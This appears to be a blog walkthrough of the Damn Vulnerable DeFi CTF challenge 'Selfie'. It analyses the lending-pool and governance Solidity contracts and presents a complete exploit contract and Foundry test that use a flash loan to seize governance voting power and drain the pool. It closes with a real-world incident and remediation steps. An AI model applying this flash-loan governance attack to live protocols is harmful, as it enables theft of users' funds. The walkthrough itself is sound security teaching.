CTF walkthrough, Damn Vulnerable DeFi, #6 Selfie

After a short break, I’m back and excited to keep going with these CTF walkthrough series.

The current challenge is Selfie:

Challenge

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. Wow, and it even includes a really fancy governance mechanism to control it. What could go wrong, right? You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

Looks like we might be able to abuse the governance using a flash loan to drain all the funds. We’ll see ;)

Analysis

There are 3 contracts that may be of interest to us:

  • SelfiePool – Offers flash loans. Managed by governance.
  • SimpleGovernance – Allows to queue and execute “proposals”.
  • DamnValuableTokenSnapshot – ERC20 token with a snapshot mechanism.

SelfiePool

It provides the same flash loan functionality we have already seen many times before, expect that it has one extra function drainAllFunds that relies on governance. This function allows transfering all DVT’s to the given address and it is guarded by the onlyGovernance modifier:

function drainAllFunds(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}

This modifier makes sure that the function is being called by the governance contract:

modifier onlyGovernance() {
    if (msg.sender != address(governance)) revert OnlyGovernanceAllowed();
    _;
}

All we need to do is to make the governance contract call the drainAllFunds function somehow.

SimpleGorvernance

It has 2 functions to queue and execute action proposals: queueAction and executeAction.

function queueAction(
    address receiver,
    bytes calldata data,
    uint256 weiAmount
) external returns (uint256) {
    if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotesToPropose();
    if (receiver == address(this))
        revert CannotQueueActionsThatAffectGovernance();
    // ...
}

The first function adds an action proposal to the queue, where the “action proposal” is an arbitrary function call at receiver address. It starts with 2 pre-conditions:

  1. To queue an action you should have more than a half of the total supply of governance tokens (DVT’s) in the last snapshot. This is checked in the _hasEnoughVotes function (see below).
  2. The second pre-condition makes sure that the call target of the proposal action is not equal to the governance address. In other words, it forbids calling the governance contract from actions.
function _hasEnoughVotes(address account) private view returns (bool) {
    uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
    uint256 halfTotalSupply = governanceToken
        .getTotalSupplyAtLastSnapshot() / 2;
    return balance > halfTotalSupply;
}

Let’s look at the second external function:

function executeAction(uint256 actionId) external payable {
    if (!_canBeExecuted(actionId)) revert CannotExecuteThisAction();

    GovernanceAction storage actionToExecute = actions[actionId];
    actionToExecute.executedAt = block.timestamp;

    actionToExecute.receiver.functionCallWithValue(
        actionToExecute.data,
        actionToExecute.weiAmount
    );

    emit ActionExecuted(actionId, msg.sender);
}

It checks that 2 days have passed since an action was queued by calling the _canBeExecuted function:

function _canBeExecuted(uint256 actionId) private view returns (bool) {
    GovernanceAction memory actionToExecute = actions[actionId];
    return (actionToExecute.executedAt == 0 &&
        (block.timestamp - actionToExecute.proposedAt >=
            ACTION_DELAY_IN_SECONDS));
}

DamnValuableTokenSnapshot

It inherits from ERC20Snapshot and has 3 new external functions:

  • snapshot – Creates a new snapshot and returns its ID.
  • getBalanceAtLastSnapshot – Returns balance of the given address at the time of the last snapshot.
  • getTotalSupplyAtLastSnapshot – Returns the total supply at the last snapshot time.

We have seen a similar contract in a previous challenge.

Exploit

The question is: how can we submit a proposal action that would drain the pool? To do that we need to have a majority of DVT (governance) tokens. And how do we get them? By taking a flash loan!

So our exploit scenario might look like this:

  1. Create a separate Exploit contract with 2 functions: run and receiveTokens.
  2. In its run function, take a flash loan and borrow all the governance tokens from the SelfiePool.
  3. Approve spending of DVT tokens for the attacker, who is the owner of our Exploit contract.
  4. Record a new snapshot.
  5. Now that we obviously have more than 50% of governance tokens (we have all of them), we can call the queueAction to queue the drainAllFunds proposal action.
  6. Repay the flash loan.
  7. Use the vm.warp to travel in time 2 days ahead.
  8. Execute the proposed action, which will call the drainAllFunds on behalf of the governance contract.
  9. Transfer the all the funds from the Exploit contract to the attacker’s address.

Let’s go ahead and implement the Exploit contract:

contract Exploit {
    SimpleGovernance private gov;
    SelfiePool private pool;
    DamnValuableTokenSnapshot private dvts;
    address private owner;
    uint256 public actionId;

    constructor(SelfiePool _pool, DamnValuableTokenSnapshot _dvts) {
        owner = msg.sender;
        pool = _pool;
        dvts = _dvts;
        gov = _pool.governance();
    }

    function run() external {
        uint256 poolBalance = dvts.balanceOf(address(pool));
        pool.flashLoan(poolBalance);
        dvts.approve(owner, poolBalance);
    }

    function receiveTokens(address _dvts, uint256 _amount) external {
        dvts.snapshot();
        bytes memory payload = abi.encodeWithSignature(
            "drainAllFunds(address)",
            address(this)
        );
        actionId = gov.queueAction(address(pool), payload, 0);
        DamnValuableTokenSnapshot(_dvts).transfer(address(pool), _amount);
    }
}

Here is the high-level exploit code:

function testExploit() public {
    /** EXPLOIT START **/
    vm.startPrank(attacker);
    Exploit expl = new Exploit(selfiePool, dvtSnapshot);
    expl.run();
    vm.warp(block.timestamp + 2 days);
    simpleGovernance.executeAction(expl.actionId());
    uint256 totalAmount = dvtSnapshot.balanceOf(address(expl));
    dvtSnapshot.transferFrom(address(expl), attacker, totalAmount);
    vm.stopPrank();
    /** EXPLOIT END **/
    validation();
}

And we’re done! We have drained the pool and stolen all DVT’s from it.

Summary & Notes

Flash loans could be used to abuse the gornance systems that rely on the majority of the token holders.

This kind of manipulation attack happened in a real life recently:

Credit-based stablecoin protocol Beanstalk Farms lost all of its $182 million collateral from a security breach caused by two sinister governance proposals and a flash loan attack.

It isn’t new and Beanstalk is unlikely to be the last victim.

Remediation

  1. Require different blocks for depositing governance tokens and submitting a proposal action. Flash loans cannot execute outside of a single block.

  2. Use well tested implementations like primitives for on-chain governance by OpenZeppelin.

Adversarial Circumstances – exploration of some adversarial scenarios and circumventions on the example of Uniswap governance.

References


Thank you for reading! You can find the full code here.

Let’s continue to the next challenge – #7 Compromised!